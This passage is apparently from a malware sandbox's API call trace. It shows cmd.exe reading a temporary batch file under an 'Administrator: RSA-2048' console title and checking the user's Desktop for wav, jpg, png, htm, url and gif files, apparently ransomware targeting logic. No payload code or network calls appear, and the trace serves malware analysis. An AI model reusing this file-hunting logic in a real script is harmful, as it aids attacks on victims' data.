hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.902] _tell (_FileHandle=3) returned 3886 [0037.902] _close (_FileHandle=3) returned 0 [0037.902] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.902] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.902] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.902] SetFilePointer (in: hFile=0x74, lDistanceToMove=3886, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0037.903] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.903] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0037.903] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16ff, lpOverlapped=0x0) returned 1 [0037.903] SetFilePointer (in: hFile=0x74, lDistanceToMove=3911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0037.903] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n") returned 25 [0037.903] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.903] GetFileType (hFile=0x74) returned 0x1 [0037.903] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.903] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0037.903] GetProcessHeap () returned 0x4e0000 [0037.903] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0037.903] GetProcessHeap () returned 0x4e0000 [0037.903] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.903] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.903] GetProcessHeap () returned 0x4e0000 [0037.903] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.903] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.903] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0037.903] GetProcessHeap () returned 0x4e0000 [0037.904] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0037.904] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0037.904] GetProcessHeap () returned 0x4e0000 [0037.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0037.904] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.904] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0037.904] GetProcessHeap () returned 0x4e0000 [0037.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.904] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0037.904] GetProcessHeap () returned 0x4e0000 [0037.904] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0037.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0037.904] GetProcessHeap () returned 0x4e0000 [0037.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0037.904] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0037.905] _tell (_FileHandle=3) returned 3911 [0037.905] _close (_FileHandle=3) returned 0 [0037.905] GetFullPathNameW (in: lpFileName="*.wav", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", lpFilePart=0x41eea8*="*.wav") returned 0x2b [0037.905] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.905] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.wav", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0037.906] GetLastError () returned 0x2 [0037.906] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0037.906] GetLastError () returned 0x6 [0037.906] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.906] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0037.907] _get_osfhandle (_FileHandle=1) returned 0x7 [0037.907] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0037.907] _get_osfhandle (_FileHandle=0) returned 0x3 [0037.907] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0037.908] SetConsoleInputExeNameW () returned 0x1 [0037.908] GetConsoleOutputCP () returned 0x1b5 [0037.908] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0037.908] SetThreadUILanguage (LangId=0x0) returned 0x409 [0037.908] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.908] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.908] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.908] SetFilePointer (in: hFile=0x74, lDistanceToMove=3911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0037.909] GetProcessHeap () returned 0x4e0000 [0037.909] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0037.909] GetProcessHeap () returned 0x4e0000 [0037.909] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0037.909] GetProcessHeap () returned 0x4e0000 [0037.909] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0037.909] GetProcessHeap () returned 0x4e0000 [0037.909] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0037.909] GetProcessHeap () returned 0x4e0000 [0037.909] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0037.909] GetProcessHeap () returned 0x4e0000 [0037.909] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0037.909] GetProcessHeap () returned 0x4e0000 [0037.909] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0037.909] GetProcessHeap () returned 0x4e0000 [0037.909] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0037.909] GetProcessHeap () returned 0x4e0000 [0037.909] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0037.909] GetProcessHeap () returned 0x4e0000 [0037.909] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0037.909] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.909] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0037.909] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16e6, lpOverlapped=0x0) returned 1 [0037.910] SetFilePointer (in: hFile=0x74, lDistanceToMove=3913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0037.910] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n\r\n") returned 2 [0037.910] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.910] GetFileType (hFile=0x74) returned 0x1 [0037.910] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.910] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0037.910] GetProcessHeap () returned 0x4e0000 [0037.910] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0037.910] GetProcessHeap () returned 0x4e0000 [0037.910] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.910] _tell (_FileHandle=3) returned 3913 [0037.910] _close (_FileHandle=3) returned 0 [0037.910] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.910] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.910] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.910] SetFilePointer (in: hFile=0x74, lDistanceToMove=3913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0037.911] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.911] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0037.911] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x16e4, lpOverlapped=0x0) returned 1 [0037.911] SetFilePointer (in: hFile=0x74, lDistanceToMove=3938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0037.911] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n\r\n") returned 25 [0037.911] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.911] GetFileType (hFile=0x74) returned 0x1 [0037.911] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.911] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0037.911] GetProcessHeap () returned 0x4e0000 [0037.911] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0037.911] GetProcessHeap () returned 0x4e0000 [0037.911] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0037.911] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0037.911] GetProcessHeap () returned 0x4e0000 [0037.911] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0037.911] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.912] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0037.912] GetProcessHeap () returned 0x4e0000 [0037.912] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0037.912] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0037.912] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0037.912] GetProcessHeap () returned 0x4e0000 [0037.912] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0037.912] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0037.912] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0037.912] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0037.912] GetProcessHeap () returned 0x4e0000 [0037.912] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0037.912] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0037.912] GetProcessHeap () returned 0x4e0000 [0037.912] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0037.912] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0037.912] GetProcessHeap () returned 0x4e0000 [0037.912] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0037.912] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0037.913] _tell (_FileHandle=3) returned 3938 [0037.913] _close (_FileHandle=3) returned 0 [0037.913] GetFullPathNameW (in: lpFileName="*.jpg", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", lpFilePart=0x41eea8*="*.jpg") returned 0x2b [0037.913] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0037.914] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.jpg", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0x4f4b58 [0037.914] FindClose (in: hFindFile=0x4f4b58 | out: hFindFile=0x4f4b58) returned 1 [0037.914] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0037.915] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.915] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x12) returned 0x4f5940 [0037.915] GetProcessHeap () returned 0x4e0000 [0037.915] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5940) returned 0x12 [0037.915] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x1c) returned 0x4e0880 [0037.915] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0037.915] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0037.915] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.915] SetFilePointer (in: hFile=0x74, lDistanceToMove=3938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0037.915] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.915] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0037.915] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.915] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0037.915] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.916] GetFileType (hFile=0x74) returned 0x1 [0037.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0037.916] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=3940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0037.916] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg") returned 2 [0037.916] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0037.916] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.916] GetFileType (hFile=0x74) returned 0x1 [0037.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0037.916] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=3965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0037.916] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.png goto png\r\n\r\n") returned 25 [0037.916] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.916] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0037.916] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.916] GetFileType (hFile=0x74) returned 0x1 [0037.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0037.917] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=3967, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0037.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n") returned 2 [0037.917] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0037.917] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.917] GetFileType (hFile=0x74) returned 0x1 [0037.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0037.917] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=3992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0037.917] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n") returned 25 [0037.917] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.917] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0037.917] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.917] GetFileType (hFile=0x74) returned 0x1 [0037.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0037.918] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=3994, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0037.918] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n") returned 2 [0037.918] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0037.918] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.918] GetFileType (hFile=0x74) returned 0x1 [0037.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0037.918] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=4021, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0037.918] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.html goto html\r\n") returned 27 [0037.918] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0037.918] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.918] GetFileType (hFile=0x74) returned 0x1 [0037.918] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0037.919] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=4046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0037.919] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0037.919] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0037.919] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.919] GetFileType (hFile=0x74) returned 0x1 [0037.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0037.919] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=4071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0037.919] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n") returned 25 [0037.919] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0037.919] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.919] GetFileType (hFile=0x74) returned 0x1 [0037.919] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0037.919] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.920] SetFilePointer (in: hFile=0x74, lDistanceToMove=4099, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0037.920] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto l2\r\n") returned 28 [0037.920] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.920] SetFilePointer (in: 